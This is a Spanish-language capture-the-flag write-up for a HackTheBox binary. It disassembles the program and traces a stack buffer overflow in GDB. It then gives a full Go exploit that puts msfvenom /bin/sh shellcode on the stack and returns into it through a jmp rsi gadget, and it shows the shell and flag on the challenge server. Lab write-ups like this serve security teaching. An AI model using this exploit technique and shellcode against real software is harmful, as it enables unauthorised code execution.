Regularity
5 minutos de lectura
Se nos proporciona un binario de 64 bits llamado regularity
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Ingeniería inversa
El binario es tan pequeño que podemos trabajar con objdump
y analizar directamente el código ensamblador:
$ objdump -M intel -d regularity
regularity: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: bf 01 00 00 00 mov edi, 1
401005: 48 be 00 20 40 00 00 00 00 00 movabs rsi, 4202496
40100f: ba 2a 00 00 00 mov edx, 42
401014: e8 2a 00 00 00 call 0x401043 <write>
401019: e8 2d 00 00 00 call 0x40104b <read>
40101e: bf 01 00 00 00 mov edi, 1
401023: 48 be 2a 20 40 00 00 00 00 00 movabs rsi, 4202538
40102d: ba 27 00 00 00 mov edx, 39
401032: e8 0c 00 00 00 call 0x401043 <write>
401037: 48 be 6f 10 40 00 00 00 00 00 movabs rsi, 4198511
401041: ff e6 jmp rsi
0000000000401043 <write>:
401043: b8 01 00 00 00 mov eax, 1
401048: 0f 05 syscall
40104a: c3 ret
000000000040104b <read>:
40104b: 48 81 ec 00 01 00 00 sub rsp, 256
401052: b8 00 00 00 00 mov eax, 0
401057: bf 00 00 00 00 mov edi, 0
40105c: 48 8d 34 24 lea rsi, [rsp]
401060: ba 10 01 00 00 mov edx, 272
401065: 0f 05 syscall
401067: 48 81 c4 00 01 00 00 add rsp, 256
40106e: c3 ret
000000000040106f <exit>:
40106f: b8 3c 00 00 00 mov eax, 60
401074: 31 ff xor edi, edi
401076: 0f 05 syscall
Básicamente, el programa simplemente escribe un mensaje en stdout
, lee de stdin
e imprime otro mensaje:
$ ./regularity
Hello, Survivor. Anything new these days?
asdf
Yup, same old same old here as well...
El problema aparece en la función read
:
000000000040104b <read>:
40104b: sub rsp, 256 # Reserves 256 bytes on the stack
401052: mov eax, 0 # sys_read
401057: mov edi, 0
40105c: lea rsi, [rsp]
401060: mov edx, 272
401065: syscall # sys_read(0, $rsi, 272)
401067: add rsp, 256
40106e: ret
Como se puede ver en los comentarios anteriores, la función reserva 256 bytes en la pila (stack), pero usa sys_read
para leer hasta 272 bytes que también se guardarán en la pila.
Vulnerabilidad de Buffer Overflow
Como resultado, tenemos una vulnerabilidad de Buffer Overflow, porque podemos exceder el buffer de 256 bytes en 16 bytes. Como resultado, podremos modificar la dirección de retorno.
Analicémoslo con GDB:
$ gdb -q regularity
Loading GEF...
Reading symbols from regularity...
(No debugging symbols found in regularity)
gef> run
Starting program: /tmp/regularity
Hello, Survivor. Anything new these days?
^C
Program received signal SIGINT, Interrupt.
0x0000000000401067 in read ()
gef> x/2i $rip
=> 0x401067 <read+28>: add rsp,0x100
0x40106e <read+35>: ret
gef> x/40gx $rsp
0x7fffffffe5f8: 0x0000000000000000 0x0000000000000000
0x7fffffffe608: 0x0000000000000000 0x0000000000000000
0x7fffffffe618: 0x0000000000000000 0x0000000000000000
0x7fffffffe628: 0x0000000000000000 0x0000000000000000
0x7fffffffe638: 0x0000000000000000 0x0000000000000000
0x7fffffffe648: 0x0000000000000000 0x0000000000000000
0x7fffffffe658: 0x0000000000000000 0x0000000000000000
0x7fffffffe668: 0x0000000000000000 0x0000000000000000
0x7fffffffe678: 0x0000000000000000 0x0000000000000000
0x7fffffffe688: 0x0000000000000000 0x0000000000000000
0x7fffffffe698: 0x0000000000000000 0x0000000000000000
0x7fffffffe6a8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6b8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6e8: 0x0000000000000000 0x0000000000000000
0x7fffffffe6f8: 0x000000000040101e 0x0000000000000001
0x7fffffffe708: 0x00007fffffffea3e 0x0000000000000000
0x7fffffffe718: 0x00007fffffffea4e 0x00007fffffffea59
0x7fffffffe728: 0x00007fffffffea70 0x00007fffffffea8b
gef> x/gx $rsp + 0x100
0x7fffffffe6f8: 0x000000000040101e
Como se puede ver, podremos modificar la dirección que hay en $rsp + 0x100
(0x40101e
), Entonces controlaremos el flujo de ejecución del programa.
Dado que el binario no tiene protecciones, lo más fácil es poner a shellcode en la pila (podemos aprovechar el buffer de 256 bytes). Sin embargo, necesitamos saber la dirección del buffer para saltar ahí.
Afortunadamente, hay una instrucción jmp rsi
en 0x401041
dentro de _start
(se supone que para saltar a exit
). Nótese que$rsi
todavía contiene la dirección del buffer, porque se usó para sys_read
:
gef> p/x $rsi
$1 = 0x7fffffffe5f8
Como resultado, modificaremos la dirección de retorno con 0x401041
, para que el programa ejecute jmp rsi
y salte al shellcode almacenado en el buffer de la pila.
Desarrollo del exploit
En primer lugar, generamos un shellcode de Linux en 64 bits, usaremos msfvenom
para esto:
$ msfvenom -p linux/x64/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of c file: 114 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";
Ahora, podemos comenzar a escribir el exploit. Esta vez, estoy usando Go con mi módulo de gopwntools
, ya que el exploit es muy simple:
func main() {
io := getProcess()
defer io.Close()
shellcode := []byte("\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05")
jmpRsiAddr := uint64(0x401041)
payload := make([]byte, 272)
copy(payload, shellcode)
copy(payload[256:], pwn.P64(jmpRsiAddr))
io.SendAfter([]byte("Hello, Survivor. Anything new these days?\n"), payload)
io.Interactive()
}
Básicamente, definimos el shellcode y la dirección de jmp rsi
. Luego creamos el payload como un buffer de 272 bytes, copiamos el shellcode al principio y la dirección de jmp rsi
en el offset 256. Finalmente, enviamos el payload y cambiamos al modo interactivo para usar la shell.
Funciona en local:
$ go run solve.go
[+] Starting local process './regularity': pid 222532
[*] Switching to interactive mode
$ ls
go.mod
go.sum
regularity
solve.go
Flag
Probemos en la instancia remota:
$ go run solve.go 94.237.59.63:44123
[+] Opening connection to 94.237.59.63 on port 44123: Done
[*] Switching to interactive mode
$ ls
flag.txt
regularity
$ cat flag.txt
HTB{jMp_rSi_jUmP_aLl_tH3_w4y!}
El exploit completo se puede encontrar aquí: solve.go
.